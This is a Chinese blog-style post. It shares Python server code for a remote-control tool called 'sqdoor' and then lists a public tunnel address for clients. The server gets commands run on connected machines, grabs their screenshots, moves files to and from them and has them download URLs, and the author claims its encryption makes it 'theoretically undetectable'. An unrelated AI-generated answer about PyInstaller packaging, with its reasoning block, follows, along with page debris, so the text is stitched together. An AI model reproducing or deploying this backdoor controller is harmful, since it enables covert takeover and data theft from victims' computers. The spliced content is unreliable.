一个py的思路

"""
@author sq
date 2024-7-17
"""

import os
import sys
import copy
import traceback
import socket
import time
import platform
import pdb
import select
from threading import Thread
from argparse import ArgumentParser
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir)))
from common.logger  import init_logger
from common.encrypted_socket import EncryptedSocket
from common.encrypted_socket import DiffieHellman

#############################################################

isdebug = True  #处于调试模式
g_logfile = "server_sqdoor.log" #日志文件名

#############################################################

        
class Server:
    def __init__(self,port):
        self.port = port
        self.logger = init_logger(g_logfile,isdebug)
        self.listener = socket.socket()
        self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
        self.es = None
        self.inites = None      
        self.clients = [] 
        self.logger.info(f"init Server")
    
    def work(self):
        try:
            self.listener.bind(("0.0.0.0", self.port))
        except socket.error as e:
            self.logger.debug(f"Error binding socket {e}...")
        else:
            self.listener.listen(20)
            self.logger.debug(f"Listening on port {self.port}")
            

        #接受连接请求
        while True:
            #pdb.set_trace()
            try:
                _socket, address = self.listener.accept()
                
                _socket.setblocking(True)
                _socket.settimeout(30)
                dh = DiffieHellman()
                _socket.send(str(dh.pub_key).encode())
                _msg = _socket.recv(1024)
                try:
                    client_pub_key = int(_msg.decode())
                    dh.set_shared_key(client_pub_key)
                    self.inites = EncryptedSocket(_socket,dh.key)
                except Exception as e :
                    print(f"Error on init EncryptedSocket: {e}")
                    _socket.close()
                    return
                serverinfo = self.inites.recv()
                self.logger.debug(f"接受远程客户端,信息结构体:\n{serverinfo.decode()}")
                print(f"\n客户端{address [0]}[{address[1]}]上线...\n")
                node = {}
                node["info"] = serverinfo.decode()
                node["sock"] = self.inites
                node["active"] = False
                node["connected"] = True
                self.clients.append(node)
                
                if len(self.clients)==1:
                    self.es = self.inites
                    self.clients[0]["active"] = True  
                    thread_accept = Thread(target=self.interaction)
                    thread_accept.daemon = True
                    thread_accept.start()
                    
                    thread_heart = Thread(target=self.sendheart,args=(60,))
                    thread_heart.daemon = True
                    thread_heart.start()                    
                
            except Exception as e :
                print(f"Error on accept {e} ")
                self.logger.debug(f"An error occurred while the server was accepting a connection")
                _socket.close()
    
    def interaction(self):
        while True:
            
            if len(self.clients)==0:
                #现在没有客户端在线,所以子线程跳出循环并退出
                print(f"当前没有客户端,等待连接中...")
                break
            
            try:
                senddata = input(">>>")
                cmdstr = senddata.lower() 
                if not senddata:
                    continue
                
                if cmdstr == "help":
                    self.showhelp()
                    continue
                    
                elif cmdstr == "exit":
                    self.exit()
                    
                elif cmdstr[:4] == "put ":
                    self.updatafile(cmdstr)
                    continue
                    
                elif cmdstr[:4] == "get ":
                    self.downloadfile(cmdstr)
                    continue
                    
                elif cmdstr[:4] == "grab":
                    self.es.send(senddata.encode())
                    recvdata = self.es.recv()                
                    self.saveimg(recvdata)
                    
                elif cmdstr[:3] == "dl ":
                    self.es.send(senddata.encode())
                    while True:
                        try:
                            recvdata = self.es.recv()
                            print(recvdata.decode())
                        except socket.timeout as e:
                            print("文件下载等待回应中...")
                            self.es.socket.settimeout(100)
                        else:
                            self.es.socket.settimeout(30)
                            break
                    
                elif cmdstr == "list":
                    self.listclients()
                    
                elif cmdstr[:6] == "switch":
                    self.switchclient(cmdstr[6:])
                    
                else:
                    self.es.send(senddata.encode())
                    recvdata = self.es.recv() 
                    print(recvdata.decode())
                    with open("result.log","ab") as f:
                        f.write(recvdata)
                        
            except Exception as e:  
                self.logger.debug(f"控制循环出现异常:\n{traceback.format_exc()}")
                print(f"操作异常,客户端可能掉线,可以用switch命令切换到其他客户端,异常原因:\n{e}")
                self.refreshlients()

    def getcurrentsockindex(self): 
        for idx,node in enumerate(self.clients):
            if node["sock"] == self.es:
                return idx

        raise ValueError("找不到当前套接字")
        
    def switchclient(self,index):
        self.refreshlients()
        try:
            idx = int(index.strip())
        except :
            print("找不到指定的客户端")
            return
        node = self.clients[idx]
        if not node["connected"]:
            print("客户端不在线,切换失败")
            return 
        else:
            try:
                cures = self.getcurrentsockindex()
                self.clients[cures]["active"] = False 
            except ValueError as e:
                pass
                   
            self.es = node["sock"]
            node["active"] = True

    def sendheart(self,interval=60):
        while True:
            time.sleep(interval)
            if 0 == len(self.clients):
                continue
            for i in self.clients:
                try:
                    ret = i["sock"].send("heartbeat".encode())
                    if ret > 0:
                        continue
                except socket.error as e: 
                    self.logger.debug(f"心跳包发送出错...{e}")
            
    def refreshlients(self):
        deathlist = []
        for idx,node in enumerate(self.clients):
            tmpes = node["sock"]
            try:
                ret = tmpes.send("heartbeat".encode())
                if ret > 0:
                    continue
            except socket.error as e:
                if self.es == tmpes:
                    print(f"当前客户端收发异常:{e}")
                deathlist.append(node)
        for i in  deathlist:       
            self.clients.remove(i)
            
    def listclients(self):
        self.refreshlients()
        if len(self.clients) == 0:
            return 
        for idx,node in enumerate(self.clients):
            temstr = "在线" if node["connected"] else "掉线"
            if node["active"]:
                temstr = " 激活"             
            banner = f"\n-------- 客户端:{idx} {temstr} --------"
            print(banner)             
            print(node["info"])
            print("-"*(len(banner)+4))  
            print("\n") 
            
    def downloadfile(self,cmdstr):
        file = os.path.basename(cmdstr.split()[1])
        localfile = os.path.join(os.getcwd(),file)
        if os.path.exists(localfile):
            print(f"当前目录已经存在名为{file}的文件,请将当前文件更名后再下载")
            return
        self.es.send((cmdstr+"\r\n").encode())
        data = self.es.recv()
        with open(localfile,"wb") as f:
            f.write(data) 
        print(f"{localfile}文件已经保存在当前目录")
        self.logger.info(f"下载{localfile}文件")
        
    def updatafile(self,cmdstr):
        filepath = cmdstr.split()[1]
        #pdb.set_trace()
        if not os.path.exists(filepath):
            print(f"本地不存在名为{filepath}的文件")
            return
        with open(filepath,"rb") as f:
            data = f.read()
            self.es.send((cmdstr+"\r\n").encode()+data)
        print(self.es.recv().decode())
        self.logger.info(f"上传{filepath}文件")
        
    def exit(self):
        print("\nSqdoor已退出...")
        sys.exit()

    def showhelp(self):
        helpinfo ="\nsqdoor是一款仅用于研究学习的远程控制软件,禁止用于非法用途,否则后果自负!\n\n"
        helpinfo += "cmd(空格)命令\t\t让远程主机执行指定命令\n"
        helpinfo += "grab(空格)截图质量\t远程截屏,并保存在本地路径,截图质量范围(1-100)\n"
        helpinfo += "help\t\t\t打印本帮助信息\n"    
        helpinfo += "exit\t\t\t退出本客户端\n"
        helpinfo += "get(空格)文件路径\t下载指定的远程主机文件\n"
        helpinfo += "put(空格)文件路径\t上传本地指定的文件到远程主机\n"
        helpinfo += "info\t\t\t显示客户端的信息\n"  
        helpinfo += "switch(空格)客户端序号\t切换到指定的客户端\n"  
        helpinfo += "list\t\t\t显示所有在线的客户端的信息\n" 
        helpinfo += "dl(空格)url\t\t下载指定url的文件到客户端上\n"        
        print(helpinfo)
        
    def saveimg(self,data):
            if not data:
                return
            screenshotdir="screenshot"
            if not os.path.exists(screenshotdir):
                os.makedirs(screenshotdir)
            filename = os.path.join(os.path.abspath(screenshotdir), time.strftime("%y%m%d_%H%M%S")+".jpg")
            with open(filename,"wb") as f:
                result = f.write(data)
                print("img path:"+os.path.realpath(filename))

def start():
    parser = ArgumentParser()
    parser.add_argument("-p", "--port", help="port number", type=int, default=80, dest="port")
    arg = parser.parse_args()
    Server(arg.port).work()
       
if __name__ == "__main__":
    start()

上面是服务端的代码,通信过程使用了加密手段,理论上是不可被识别的。

这里的远控,是用来方便自己管理自己的电脑的。

client:运行在远端的家中,通过读取server的地址实现连接

***tcp://30.tcp.cpolar.top:10676***

<think>好的,我现在需要帮用户解决如何用PyInstaller打包Python脚本成exe,并且实现一个py文件调用另一个py文件的功能。首先,我得回忆一下PyInstaller的基本用法。用户之前提到过引用[2]和[3],里面详细说明了PyInstaller的安装和使用步骤,包括如何生成单一exe文件和自定义图标。不过现在用户的需求不仅是打包,还要处理多个脚本之间的调用。 用户的问题是两个部分:打包成exe和脚本间的调用。我需要先确认当多个py文件被打包后,如何正确引用。根据引用[1]中的项目结构,非py文件放在目录下,py脚本放在根目录。这可能对打包时的路径处理有帮助。 首先,脚本调用另一个脚本通常可以通过import语句或者subprocess.run。例如,main.py中import func1,或者用subprocess调用。但打包成exe时,这些引用可能需要特别处理,尤其是相对路径的问题。PyInstaller在打包时会把所有import的模块都包含进去,但如果是动态导入或者子进程调用,可能需要手动添加数据文件。 接下来,我需要考虑如何配置PyInstaller的spec文件,或者使用命令行参数来包含额外的py文件。例如,使用--hidden-import来确保所有依赖都被包含进去。或者,如果使用subprocess调用另一个脚本,可能需要将该脚本一起打包,或者作为数据文件包含进去。 另外,用户可能需要保持项目结构,比如将辅助脚本放在根目录,而主脚本调用它们。根据引用[1]的建议,主脚本和调用的py脚本放在根目录,非py文件放在子目录。这样在打包时,PyInstaller可以正确找到这些模块。 可能的步骤是:确保主脚本正确导入其他脚本,或者使用subprocess执行。然后,使用PyInstaller打包主脚本,并确保所有依赖都被包含。可能需要测试两种情况:一种是直接import,另一种是用subprocess调用。 需要注意的是,当使用subprocess调用另一个exe文件时,可能需要将每个脚本单独打包,然后在主exe中调用这些子exe。但这可能复杂,不如直接通过import来模块化代码更高效。 因此,更推荐的方式是将功能模块化为多个py文件,通过import调用,然后打包主脚本,PyInstaller会自动收集所有import的依赖。如果存在动态导入的情况,可能需要使用--hidden-import参数。 另外,路径问题也很重要。在打包后的exe中,当前工作目录可能会改变,所以需要使用sys._MEIPASS来访问打包后的资源路径。或者,确保所有文件路径使用os.path正确获取。 总结步骤:1. 组织项目结构,主脚本调用其他脚本;2. 使用PyInstaller打包主脚本,处理依赖;3. 处理可能的路径问题;4. 测试打包后的exe是否能正确调用其他脚本的功能。 可能遇到的问题:如果使用subprocess调用另一个py文件,在打包后该文件可能不存在,除非也被打包进去。因此,更可靠的方式是使用import语句,这样PyInstaller能自动包含这些模块。 需要验证这些思路是否正确,参考PyInstaller文档,确保多脚本调用的正确处理方式。例如,如果main.py导入func1.pyPyInstaller会分析依赖并包含func1。但如果是动态导入,比如通过字符串名称导入,可能需要额外处理。 最后,用户可能需要一个具体的例子,展示如何组织代码和打包命令,以及如何处理路径。例如,给出项目结构、代码示例和打包命令,并提醒注意事项,如路径处理和静态导入。</think>### 分步解决方案 #### 一、项目结构规划 根据引用[1]建议,将主脚本和依赖的Python脚本放在根目录,非Python文件放在子目录中: ``` project/ ├── main.py # 主程序入口 ├── module1.py # 被调用的脚本1 ├── module2.py # 被调用的脚本2 └── data/ # 存放非Python文件 ``` #### 二、编写跨脚本调用代码 推荐使用`import`方式实现脚本间调用(确保模块化设计): ```python # main.py import module1 import module2 def main(): module1.func1() module2.func2() if __name__ == "__main__": main() ``` #### 三、使用PyInstaller打包 1. **安装PyInstaller**(引用[3]): ```bash pip install pyinstaller ``` 2. **生成spec文件**(可选,用于高级配置): ```bash pyinstaller --name=myapp main.py ``` 3. **打包命令**(确保包含所有依赖): ```bash pyinstaller -F --add-data "module1.py;." --add-data "module2.py;." main.py ``` - `-F`:生成单个exe文件 - `--add-data`:显式添加非直接导入的文件(若存在动态导入) #### 四、处理路径问题 在exe中获取资源路径的正确方法(引用[3]路径操作): ```python import sys import os if getattr(sys, 'frozen', False): BASE_DIR = sys._MEIPASS else: BASE_DIR = os.path.dirname(__file__) data_path = os.path.join(BASE_DIR, "data/file.txt") ``` #### 五、验证打包结果 1. 生成的exe文件位于`dist/`目录 2. 测试功能完整性: - 执行exe验证模块调用是否正常 - 检查文件路径访问是否正确 #### 六、高级配置(可选) 1. **自定义图标**(引用[3]): ```bash pyinstaller -i icon.ico -F main.py ``` 2. **隐藏控制台窗口**(GUI程序): ```bash pyinstaller -w -F main.py ``` ### 注意事项 1. 静态导入优先于动态导入(`import module`优于`__import__()`) 2. 使用`os.path`处理路径,避免硬编码 3. 复杂项目建议使用`spec`文件配置依赖关系
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值